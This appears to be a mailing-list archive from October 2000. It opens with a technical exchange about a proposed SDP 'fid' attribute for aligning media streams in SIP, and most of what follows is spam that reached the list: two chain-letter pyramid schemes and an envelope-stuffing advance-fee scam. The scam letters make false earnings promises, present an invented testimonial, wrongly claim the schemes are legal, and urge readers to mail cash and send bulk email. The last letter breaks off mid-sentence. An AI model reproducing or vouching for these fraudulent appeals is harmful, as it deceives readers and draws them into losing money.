Date: Mon, 16 Oct 2000 21:38:09 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Ericsson
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Culpepper, Bert'" <bert.culpepper@intervoice-brite.com>,
        "'Michael Thomas'" <mat@cisco.com>, "'Rohan Mahy'" <rohan@cisco.com>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
References: <B65B4F8437968F488A01A940B21982BF4D8D9B@DYN-EXCH-001.dynamicsof>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan,

Jonathan Rosenberg wrote:
> 
> I just thought of an issue with this approach that is worth considering.
> 
> The problem is that if A sends an INVITE to B, there cannot be more m lines
> in the response from B that in the request from A. THis is needed to support
> matching up of m lines.


If A does not support the fid attribute, we are in today's situation
(what we want to avioid), and B will have to do what you describe
(re-INVITE right after the 200 OK).

If A supports the fid attribute, it will include a fid attribute for
each m line in the SDP. Upon reception of the INVITE, B knows that A
understands the fid attribute because it appears in the SDP. Then, since
both understand it, B can add as many m lines as it wishes, since the
fid attribute will be used to align the media streams (rather than nth m
lines matching). That's why the title of the draft is "SDP media
alignment in SIP".

So, this is a general mechanism not just for demultiplexing media flows
but also for performing media alignment.

Best regards,

Gonzalo

 Now, lets say A is a PC, and it calls some user B
> that needs to use one of these transcoders. In the 200 OK, B cannot add a
> separate media stream for this codec. Rather, it will have to send a regular
> 200 OK, and then immediately re-invite to add a media stream for that
> specific codec, and remove that codec from the original media stream. Kind
> of ugly, and possibly might get you glitches in the beginning of lost media.
> 
> So, whilst I agree with the idea of what you are trying to do here (a
> choose-one-of-M session feature), I am concerned about its general ability
> to fit within the framework of SDP, which is widely recognized as limited
> for such things.
> 
> -Jonathan R.
> 
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: Friday, October 13, 2000 4:30 AM
> > To: Culpepper, Bert
> > Cc: Michael Thomas; Rohan Mahy; Jonathan Rosenberg;
> > sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> > Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> >
> >
> > Hi,
> >
> > I will try to summarize the discussions so far:
> >
> > The issue I am looking at is: "What happens when I need to receive a
> > single media stream in different ports (or even different IP
> > addresses)
> > depending on the codec used at any moment".
> >
> > A media stream here is, for instance, the audio transmitted
> > in a regular
> > telephone call.
> >
> > With this issue in mind, it is good to know scenarios where this can
> > happen and, of course, possible solutions.
> >
> > There are multiple scenarios where we can have this situation.
> >
> > -The device receiving voice is not the same as the device that handles
> > DTMF tones. Thus, the media stream will have to be sent to the device
> > handling voice when the RTP packets contain PCM voice (for
> > instance) and
> > to the device handling DTFM tones when they carry tones.
> >
> > -I need to use a transcoder because I have a cheap client
> > that does not
> > support all the audio codecs in the world. I want to receive PCM in my
> > IP address, but I would like to receive GSM in the IP address of the
> > transcoder. The transcoder will take care of sending the
> > stream to my IP
> > address once it has been transcoded.
> >
> > -Cellular terminals that have to configure radio bearers with specific
> > codec information because some optimizations are applied. They want to
> > receive media on different ports depending on the codec used.
> >
> > Folks have pointed out more scenarios where this might happen.
> >
> > The first solution I thought of was to send a single RTP stream to
> > different ports (or different IP addresses). As the AVT guys pointed
> > out, this would cause lots of problems. Mainly related to RTCP.
> > Everybody agreed that a much better solution was to establish
> > different
> > RTP sessions.
> >
> > If different RTP sessions are established, this issue is
> > transparent to
> > RTP and RTCP. They are thus not affected.
> >
> > SDP backwards compatibility was also an issue, so a solution that does
> > not break existing implementations has to be found.
> >
> > The fid (flow identifier) attribute I was describing in my
> > previous mail
> > would just be an identifier for the flow. That is, we might
> > have several
> > RTP streams, but all of them are related, because we are dealing with
> > just one flow.
> >
> > So, an application receiving this parameter would know that all the m
> > lines in the SDP with the same fid attribute (a=fid:12, for instance)
> > are related. I believe this is useful information for the application.
> >
> > If an application does not understand the fid attribute, everything
> > works properly. The only issue is that the application is not aware of
> > this relation between m lines.
> >
> >
> > Regarding Mike's question, this was already presented as
> > input for SDPng
> > in the last IETF. I am now after a solution for SDP. I agree
> > that SDPng
> > will solve all these issues. The quesion is: when? Everybody
> > working on
> > it is currently pretty busy.
> >
> > Best regards,
> >
> > Gonzalo
> >
> >
> >
> > "Culpepper, Bert" wrote:
> > >
> > > Hi:
> > >
> > > I've only followed this thread on the SIP list and read the recent
> > > discussion on the AVT WG list,  I've probably missed some
> > related discussion
> > > in other WGs.  It appears to me, and as Gonzalo pointed
> > out, separate RTP
> > > streams are OK.  The session description below describes
> > two RTP streams
> > > with only one active at any point in time (I believe the
> > semantics of the
> > > fid attribute shown indicate that I can choose to send only
> > one) vs. a
> > > single RTP stream with either of two encoding schemes.
> > However, as a SIP UA
> > > and having received that session description I know to send the two
> > > encodings separately if I want to make the other endpoint
> > happy.  (And only
> > > one at a time if I support the fid attribute.)  It does
> > seem reasonable that
> > > it might complicate QoS, but I expect the benefit of the
> > separate media
> > > streams is justified when used.
> > >
> > > Anyway, segregating media streams (where exact
> > synchronization isn't needed
> > > and RTP is good enough) enables certain efficiencies when providing
> > > telecommunications and like services in an IP network.
> > This is only one
> > > advantage I suspect.
> > >
> > > Regards,
> > > Bert
> > >
> > > > -----Original Message-----
> > > > From: Michael Thomas [mailto:mat@cisco.com]
> > > > Sent: Thursday, October 12, 2000 10:22 AM
> > > > To: Gonzalo Camarillo
> > > > Cc: Culpepper, Bert; Rohan Mahy; Jonathan Rosenberg;
> > > > sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> > > > Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> > > >
> > > >
> > > > Gonzalo Camarillo writes:
> > > >  > I would like my session description to look like:
> > > >  >
> > > >  >          v=0
> > > >  >          o=John 289085535 289085535 IN IP4 first.example.com
> > > >  >          t=0 0
> > > >  >          c=IN IP4 111.111.111.111
> > > >  >          m=audio 20000 RTP/AVP 0
> > > >  >          a=fid:1
> > > >  >          m=audio 20002 RTP/AVP 8
> > > >  >          a=fid:1
> > > >  >
> > > >  > If an implementation does not understand the fid
> > attribute it will try
> > > >  > to mix the audio streams. Since one is "empty" all the
> > time, doing this
> > > >  > is not really a big deal. Thus, backwards
> > compatibility is not a
> > > >  > concern.
> > > >  >
> > > >  > Do you have any concerns with this approach?
> > > >
> > > >    The main problem I see is with the interaction with
> > > >    QoS reservations. Namely, that you'd expect the receiver
> > > >    to book reservations for both flows. Doing:
> > > >
> > > >    m=audio 20000 RTP/AVP 0 8
> > > >
> > > >    on the other hand only implies that you book the ceil()
> > > >    of both flows.
> > > >
> > > >    Why is it so advantageous to segregate these into two
> > > >    streams? The implicit coupling you're after seems like
> > > >    it's not well handled by SDP right now, and I'd bet
> > > >    that this would be better taken up as a working item
> > > >    for SDPng (if not already there) because my understanding
> > > >    is that explicit audio synch with video is also problematic in
> > > >    SDP right now, which is sort of similar.
> > > >
> > > >               Mike
> > > >
> >
> > --
> > Gonzalo Camarillo         Phone :  +358  9 299 33 71
> > Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> > Telecom R&D               Fax   :  +358  9 299 30 52
> > FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> > Finland                   http://www.hut.fi/~gonzalo
> >
> 
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Wed Oct 18 13:10:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA27715
	for confctrl-outgoing; Wed, 18 Oct 2000 13:10:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA27707
	for <confctrl@zephyr.isi.edu>; Wed, 18 Oct 2000 13:10:23 -0700 (PDT)
Received: from lahontan.crl.dec.com (hoover-2.crl.dec.com [192.58.206.12])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id NAA07350
	for <confctrl@isi.edu>; Wed, 18 Oct 2000 13:10:37 -0700 (PDT)
From: frank65_8@norcol.ac.uk
Received: by lahontan.crl.dec.com; id AA21613; Wed, 18 Oct 2000 16:11:33 -0400
Date: Wed, 18 Oct 2000 16:11:33 -0400
Message-Id: <10010182011.AA21613@lahontan.crl.dec.com>
To: frank65_8@norcol.ac.uk
Subject: Hi, this is for you.....
Mime-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Friend:

Do you need a change in your life?

Do you remember when the entire world seemed like it was
yours for the taking?

Do you remember a time when all of your hopes and dreams seemed
like they were attainable?

First of all, let's be honest. You are not going to earn $50,000 in
20 days. It just isn't going to happen. Anyone who tells you that
you can, is not being truthful.  But, let me tell you about a plan
that can possibly make all your dreams come true...keep reading!

********************************************************************

I would like to tell you about a plan that has changed my life.
Take a calculator and figure in the worst possible scenario. Decide
for yourself. If you decide that you want to take control of your
life and move forward...that is your decision.

********************************************************************

Here's the step by step plan summary.

1)You order the 4 reports listed below ($5 each). They come to you
by email.

2)Save a copy of this entire letter and put your name at report #1.
Move all other names  down. (You will be removing the person at the
level 4)

3)Use any of the hundreds of bulk email services out there.

4)Orders will come right to your door. Simply email them the report
they ordered.Isn't that about as easy as it gets???

********************************************************************

Your cost to participate in this program is practically nothing
(surely you can afford $20 and initial bulk mailing cost). You
obviously already have a computer and an Internet connection and
e-mail is FREE!

The primary method of building your downline is bulk email.

Let's say that you decide to start small, just to see how it goes.
Let's assume that you and all those involved email out only 2,000
programs each. Let's also assume that the mailing receives a 0.5%
response. The response could be much better. Also, many people will
email out more than 2,000 programs. With a 0.5% response, that is
only 10 orders for Report #1.  Those 10 respond  by sending out
2,000 programs each for a total of 20,000.  Out of those 0.5%, 100
people respond and order 20,000.  The 0.5% response rate to that is
1,000 orders for Report #3. Those 1,000 send out 2,000 each for a
total of 2,000,000.  The 0.5% response rate is 10,000 orders for
report #4. That is 10,000 $5 bills for you. CASH!!!

*********************************************************************

Your total income in this example is: $50+ $500+ $5000+ $50,000 for
a total of $55,550!!!

*********************************************************************

REMEMBER FRIEND. THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM!!!  DARE
TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR EVEN HALF
MAILED OUT 100,000 INSTEAD OF 2,000. Believe, most people will do
just that, and more!!!

Friend, you do the math. You look at the opportunity, if you decide
that you would like to participate in this program, the decision is
yours.

Recently, the Federal Trade Commission has tried to stop chain
letters which promise you will make tons of money by participating.  
Such chain letters are NOT legal because of this reason. This new
program complies with all the rules.

To be legal, a chain letter must offer a product and must not
promise you will get rich by taking part. If you look at the
program, do the math and decide that you will make money, it is
your opinion. No such claim is here.

However, I do strongly encourage you to do the calculations.
Figure out the worst possible response and see how it calculates.

Your orders come right to your door and you send your reports via
email. You are not involved in personal selling.

You do it privately in your own home, store, or office. This is the
EASIEST plan anywhere. It is simply order filling by email.

Order the four reports shown on the list below. You can't sell them
if you don't order them!!!.

For each report, send $5.00 CASH, the  NAME & NUMBER OF THE REPORT
YOU ARE ORDERING, YOUR EMAIL ADDRESS, and YOUR NAME AND RETURN
ADDRESS (in case there's a problem).  MAKE SURE YOUR RETURN ADDRESS
IS ON THE ENVELOPE IN CASE OF ANY MAIL PROBLEMS!

Report #1 will tell you how to download bulk email software and
email addresses so you can send it out to thousands while you
sleep. Remember that 50,000+ new people are joining the Internet
every month.

By the way, there are over 50 million email addresses with millions
more joining the Internet each year, so we don't worry about
"saturation".  People are used to seeing and hearing the same
advertisements every day on radio/TV.  How often have you received
the same pizza flyers on your door. Then, one day you are hungry
for pizza and immediately recall the flyer. Same thing with this
letter. I received this letter many times- then one day I decided
it was time to try it.

This program will not require you to come into contact with people
or take any telephone calls. Just follow the instructions.

There is no guarantee either stated or implied that anyone
participating in this program will earn $50,000+.  (You must
include that statement to make this legal.)

******* TIPS FOR SUCCESS *******

TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow
the directions accurately. -- Send for the four reports IMMEDIATELY
so you will have them when the orders start coming in because: When
you receive a $5 order, you MUST send out the requested product/report.

It is required for this to be a legal business and they need the
reports to send out their letters (with your name on them!) -- ALWAYS
PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. -- Be patient
and persistent with this program.

**********************************************************************
Get started TODAY!! Notes- ALWAYS SEND $5 CASH (US CURRENCY) FOR
EACH REPORT.  CHECKS NOT ACCEPTED.  make sure the cash is concealed
by wrapping it in two sheets of paper. On one of those sheets
write: (a) the number and name of the report you are ordering, (b)
your e-mail address, and (c) your name and postal address.


REPORT #1  "The Insider's Guide to Advertising for Free on the
Internet"

ORDER REPORT #1 FROM:

S. STARK
P.O. BOX 61009
HOUSTON, TEXAS 77208-1009


REPORT #2  "The Insider's Guide to Sending Bulk E-mail on the
Internet"

ORDER REPORT #2 FROM:

WAYNE ELLIOTT
11918 SE DIVISION #358
PORTLAND, OR 97266


REPORT #3  "The Secrets to Multilevel Marketing on the Internet"

ORDER REPORT #3 FROM:

RYAN ROMNEY
P.O. BOX 540421
NORTH SALT LAKE, UT  84054-0421


REPORT #4  "How to become a Millionaire utilizing the Power of
Multilevel Marketing and the Internet"

ORDER REPORT #4 FROM:

RUSSELL OLSEN
5409 YARMOUTH AVE #3
ENCINO, CA 91316


********************************************************************
This ad is being sent in compliance with Senate Bill 1618, Title 3,
section 301, paragraph (a)(2)(C).

Further transmissions to you by the sender of this e-mail may be
stopped at no cost to you by sending a reply to this e-mail address
with the words "remove" in the subject line.
********************************************************************


From confctrl-owner  Thu Oct 19 08:34:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA13526
	for confctrl-outgoing; Thu, 19 Oct 2000 08:34:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA13513
	for <confctrl@zephyr.isi.edu>; Thu, 19 Oct 2000 08:34:45 -0700 (PDT)
Received: from mailweb15.rediffmail.com (IDENT:qmailr@[203.199.83.23])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id IAA29227
	for <confctrl@isi.edu>; Thu, 19 Oct 2000 08:34:54 -0700 (PDT)
Received: (qmail 17973 invoked by uid 510); 19 Oct 2000 10:22:34 -0000
Date: 19 Oct 2000 10:22:34 -0000
Message-ID: <20001019102234.17972.qmail@mailweb15.rediffmail.com>
MIME-Version: 1.0
To: "int10186@rediffmail.com" <int10186@rediffmail.com>
From: "XVA  International" <int10186@rediffmail.com>
Content-ID: <Thu_Oct_19_15_52_34_IST_2000_0@mailweb15.rediffmail.com>
Content-type:  text/plain
Content-Description:  Body
Content-Transfer-Encoding:  7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

WOULD YOU STUFF
ENVELOPES FOR
$1,000'S WEEKLY?

$2 For Each Envelope You Stuff
SIMPLE, PLEASANT WORK YOU CAN DO AT HOME!!!

HELP SOLVE YOUR MONEY PROBLEMS.  No more worries over inflation, recession, bills, rising gasoline and other costs.  If you are looking for easy extra income, to relieve financial pressures, you owe it to yourself to investigate our offer.

HERE IS YOUR CHANCE to earn extra money working at home by becoming an active participant of our successful mailing association.  You receive cash daily for the envelopes you stuff.  There is no limit.  You stuff as many as you wish.

NO EXPERIENCE OR SPECIAL SKILLS REQUIRED.  Our HOMEMAILER'S PROGRAM is designed especially for people with little or no business experience and provides step-by step instructions.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

WHY IS THIS POSSIBLE?
There are many mail-order companies who want to expand their business, but do not want to hire more people.  If they hired more employees, they would have to supervise them, rent more office space, pay more taxes and insurance, all involving more paperwork.  It is much easier for them to set it up so that independent homeworkers can earn money doing the work themselves.

This program is designed to help people cash in with a company who needs homeworkers.  Each member is an independent homeworker. You serve a company that pays good commissions to have their circulars mailed.  This program has been perfected so that it has become one of the most successful and profitable ones ever.

We invite you to take part in our success.  The money you earn is up to you.  We do not require that you mail a certain number of pieces each week.  You can take on whatever amount of business that fits your schedule, and you can quit whenever you want, there are no obligations. This work mainly consists of the securing of envelopes.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You may work in the comfort of your own home, choose your own hours, and set your own pace.  No need to leave your present job.  The possibilities are unlimited - get the whole family to join in.  Form workshops with your friends.  We will further show you how to expand your operation and boost your new income as high as you wish to go.

NOW, IT'S ALL UP TO YOU!
The opportunity for the better life is here - it's waiting!  But only YOU can take that all-important step that separates the achievers from the dreamers!  Order NOW!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

ALL BUSINESS can be done by MAIL and we give you complete assistance at every step to insure your success. You can START THE SAME DAY you receive the instructions and begin RECEIVING MONEY WITHIN TWO WEEKS and every week from then on, as long as you desire.

You will be supplied with the materials to be stuffed.  Envelopes will be already stamped and addressed.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

GUARANTEE:  We welcome you to this program and extend to you our unconditional guarantee that everything we have said about this program is true and that you will be delighted with the money you make.  Our goals and continued success depends on your 100% satisfaction with the HOMEMAILER'S PROGRAM.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

DON'T BE FOOLED
There are many fraudulent envelope addressing and chain letter schemes being sold today.  We recommend that you avoid them.  Why fool with some questionable scheme when our program enables you to earn so much money legally.  This is not an offer of employment.  It is an opportunity to become an independent commission mailer for our company. Remember, unlike the others, this is not a get-rich-quick scheme.  It is a proven program for making money while filling the needs of a company who need people to mail their circulars.

IN ORDER TO GET YOU STARTED IMMEDIATELY, we must require a one-time fee of only $13.95.  This covers our expense in showing you what to do and guarantees you can work with us as long as desired.  You will not be required or asked to pay for any additional information or manuals.  Inasmuch as we would like to send you our program with the small charge, we must protect ourselves from those who are not serious and have no intention other than to satisfy their own curiosity.  Naturally, no business can afford to send out costly material to everyone who writes in asking for it.  This small charge assures us that you are serious about wanting to earn money at home.

DON'T DELAY - START IMMEDIATELY!!!
This is money.  You can begin now by putting your time to the best of use. The next few minutes can literally change your life.  Don't let this extraordinary opportunity pass.

YOUR REGISTRATION FEE REFUNDED
as soon as you submit your first 100 envelopes.

Send a check or money order in the amount of  $13.95 to:


X V A    International
11948 – 207th Street, Suite 309
Maple Ridge, BC, Canada
V2X 1X7

Never send cash through the mail. 

XVA International is a licensed business operating in BC, Canada; license #14126.
 
This message is sent in compliance of the new e-mail bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618.  Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to this email with the word "remove" in the subject line.


_____________________________________________________
Chat with your friends as soon as they come online. Get Rediff Bol at
http://bol.rediff.com

For fabulous shopping deals visit: http://www.rediff.co.in/shopping/index.html




From confctrl-owner  Sat Oct 21 07:28:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA08309
	for confctrl-outgoing; Sat, 21 Oct 2000 07:28:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08304
	for <confctrl@zephyr.isi.edu>; Sat, 21 Oct 2000 07:28:46 -0700 (PDT)
Received: from TmpStr (ubr-33.5.152.altamonte.cfl.rr.com [65.33.5.152])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id HAA08264
	for <confctrl@isi.edu>; Sat, 21 Oct 2000 07:29:00 -0700 (PDT)
Message-Id: <200010211429.HAA08264@gamma.isi.edu>
Reply-To: "Karen"<krburmeister@hotmail.com>
From: "Karen"<krburmeister@hotmail.com>
To: confctrl@ISI.EDU
Organization: 
X-Priority: 3
X-MSMail-Priority: Normal
Subject: Hey!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Sat, 21 Oct 2000 10:29:58 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Friend, 

Thanks for your time and interest, this e-mail
contains the ENTIRE PLAN of how YOU can earn a whole
lot of money in the next 90-120 days by simply sending
e-mail!  Seem impossible?  Just read on and see how
easy it really is. . .  This really works!  Have the
faith, don't miss this opportunity, get involved also
and it will work for you as it does for us!!!

Due to the popularity of this letter on the Internet,
a major nightly news program recently devoted an
entire show to the investigation of the program
described below to see if it really can make people
money. The show also investigated whether or not the
program was legal.  Their findings proved that there
are absolutely no laws prohibiting participation in
the program.  This has helped to show people that this
is a simple, harmless and fun way to make some extra
money at home on the Internet.  The results have been
truly remarkable.  So many people are participating
that those involved are doing much better than ever
before.  Since everyone makes more as new people try
it out, its been very exciting to say the least. 
You'll understand completely once you try it for
yourself!

**********THE ENTIRE PLAN IS HERE BELOW**********

----------Print This Now For Future
Reference----------

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

If you would like to earn at least $50,000 in less
than 120 days, please read this program. . .  THEN
READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY!!!

E-mail is the sales tool of the future.  Take
advantage of this virtually free method of advertising
NOW!!!  The longer you wait, the more people will be
doing business ahead of you using e-mail.  Get your
piece of this action NOW!!!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~

TESTIMONIAL

Hello - My name is Johnathon Rourke, I'm from Rhode
Island.

The enclosed information is something I almost let
slip through my fingers.  Fortunately, sometime later
I re-read everything and gave some thought and study
to it.  Two years ago, the corporation I worked for
the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews, I
decided to open my own business.  Over the past year,
I incurred many unforeseen financial problems.  I owed
my family, friends and creditors over $35,000.  The
economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance
and borrow against my home to support my family and
struggling business.

AT THAT MOMENT something significant happened in my
life.  I am writing to share the experience in hopes
that this could change your life FOREVER TOO.

In mid December, I received this program in my e-mail.
 Six months prior to receiving this program I had been
sending away for information on various business
opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either
too difficult for me to comprehend or the initial
investment was too much for me to risk to see if they
would work.  But as I was saying, in December of 1997
I received this program via e-mail. I didn't send for
it, or ask for it, they just got my name off a mailing
list of some kind.

THANK GOODNESS FOR THAT!!!

After reading it several times, to make sure I was
reading it correctly.  I couldn't believe my eyes! 
Here was a MONEY MAKING MACHINE I could start
immediately without any debt.

Like most of you I was still a little skeptical and a
little worried about the legal aspects of it all.  So
I checked it out with the U.S. Post Office - 1 (800)
725-2161, 24-hrs and they confirmed that it is indeed
not illegal to participate in the program.   After
that I decided "WHY NOT!?!?!??."

Initially I sent out 10,000 e-mails.  It cost me about
$15 for my time on-line.  The great thing about e-mail
is that I don't need any money for printing to send
out the program, and because I also send the product
(reports) by e-mail, my only expense is my time.

In less than one week, I was starting to receive
orders for REPORT #1.  By January 13, I had received
26 orders for REPORT #1.  Your goal is to RECEIVE at
least 20 orders for REPORT #1 within 2 weeks.  If you
don't -  SEND OUT MORE PROGRAMS UNTIL YOU DO.

My first step in making $50,000 in 90-120 days was
done.  By January 30, I had received 196 orders for
REPORT #2.  Your goal is to RECEIVE at least 100 +
orders for REPORT #2 within 2 weeks.  If not - SEND
OUT MORE PROGRAMS UNTIL YOU DO!

Once you have 100 orders, the rest is easy, relax, you
will make your $50,000 goal!

Well I had 196 orders for REPORT #2, 96 more than
I needed.  So I sat back and relaxed.  By March 1, of
my e-mailing of 10,000, I received $58,000 with more
coming in every day.  I paid off ALL MY DEBTS and
bought a much needed new car!

Please take the time to read this plan - IT WILL
CHANGE YOUR LIFE FOREVER$!!!  Now remember, it can't
work if you don't try it.  This program does work, but
you must follow it EXACTLY, especially the rules of
not trying to place your name in a different place. 
It won't work and you'll lose out on a lot of money! 
In order for this program to work, you must meet your
goal of 20 + orders for REPORT #1, and 100 + orders
for REPORT #2 and you will make $50,000 or more in the
first 90-120 days.

I AM LIVING PROOF THAT IT WORKS!!!  If you choose not
to participate in this program, I am sorry for you, it
really is a great opportunity with little cost and no
risk to you.  If you choose to participate, follow the
program exactly and you will be on your way to
financial security.  If your a fellow business owner
and are in financial trouble like I was, or you just
want to start your own business, consider this a sign.
 I DID! $$

Sincerely,


Johnathon Rourke

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS 
PROGRAM:

By the time you have read the enclosed program and
reports, you should have concluded that such a
program, and one that is legal, could not have been
created by an amateur.  Let me tell you a little about
what happened to me.  I had a profitable business for
10 years.  Then in 1979 my business began falling off.
 I was doing the same things that were previously
successful for me, but it wasn't working. Finally, I
figured it out.  It wasn't me, it was the economy. 
Inflation and recession had replaced the stable
economy that had been with us since 1945.  I don't
have to tell you what happened to the unemployment
rate... because many of you know from first hand
experience.  There were more failures and bankruptcies
than ever before.  The middle class was vanishing. 
Those who knew what they were doing invested wisely
and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down
into the ranks of the poor.  As the saying goes, "THE
RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow
you to "move up" or "get rich."  Inflation will see to
that.

You have just received information that can give you
financial freedom for the rest of your life, with "NO
RISK" and "JUST A LITTLE BIT OF EFFORT."  You can make
more money in the next few months and following years
than you have ever imagined.  I should also point out
that I will not see a penny of this money, nor anyone
else who has provided a testimonial for this program. 
I have retired from the program after sending
thousands and thousands of programs.

Follow the program EXACTLY AS INSTRUCTED.  Do not
change it in any way.  It works exceedingly well as it
is now.  Remember to e-mail a copy of this exciting
report to everyone you can think of.  One of the
people you send this to may send out 50,000... and
your name will be on every one of them!  Remember
though, the more you send out, the more potential
customers you will reach.

Just follow the instructions, and you will make money.
 It does NOT require you to come into contact with
people or make or take any telephone calls.  This
simplified e-mail marketing program works perfectly
100% EVERY TIME!!!

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU
THOUSANDS OF DOLLARS$$$$!!!!

I am sure that you could use up to $50,000 or more in
the next 90-120 days.  Before you say "BULL. . ." 
Please read this program carefully.  This is not a
chain letter but a perfectly legal money making
business.  As with all multilevel businesses, we build
our business by recruiting new partners and selling
our products.  Every state in the USA allows you to
recruit new multilevel business partners, and we sell
and deliver a product for EVERY dollar received.

YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, 

so you are not involved in personal selling.  You do
it privately in your own home, store or office.  This
is the EASIEST marketing plan anywhere!  It is simply
order filling by e-mail!

The product is informational and instructional
material, keys to the secrets for everyone on how to
open the doors to the magic world of E-COMMERCE, the
information highway, the wave of the future!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~

P L A N  S U M M A R Y :

(1)      You order the 4 reports listed below - $5 (US)
each.  They come to you by e-mail.

(2)     Save a copy of this entire letter and put your
name after Report #1 and move the other names down.

(3)     Via the Internet, access Yahoo.com or any of the
other major search engines to locate hundreds of bulk
e-mail service companies (search for "bulk e-mail")
and have them send 25,000 - 50,000 e-mails for you -
about ($49+).

(4)     Orders will come to you by postal mail - simply
e-mail them the Report they ordered.  Let me ask you -
isn't this about as easy as it gets?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~

Oh, by the way, there are over 50 MILLION e-mail
addresses with millions more joining the Internet each
year, so don't worry about "running out" or
"saturation."  People are used to seeing and hearing
the same advertisements every day on the radio and TV.
 How many times have you received the same pizza
flyers on your door step?  Then one day you are hungry
for pizza and you order one.  Same thing with this
program.  I received this letter many times - then one
day I decided it was time I tried it.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~

YOU CAN START TODAY - JUST DO THESE EASY STEPS:

STEP #1.        ORDER THE FOUR REPORTS

Order the four reports shown on the list below (you
can't sell them if you don't order them).
For each report, send $5 (US) CASH, the NAME & NUMBER
OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL 
ADDRESS,
and YOUR NAME & RETURN ADDRESS (in case of a post
office delivery problem) to the person whose name
appears on the list below the report.

MAKE SURE YOUR RETURN ADDRESS IS ON YOUR 
ENVELOPE IN
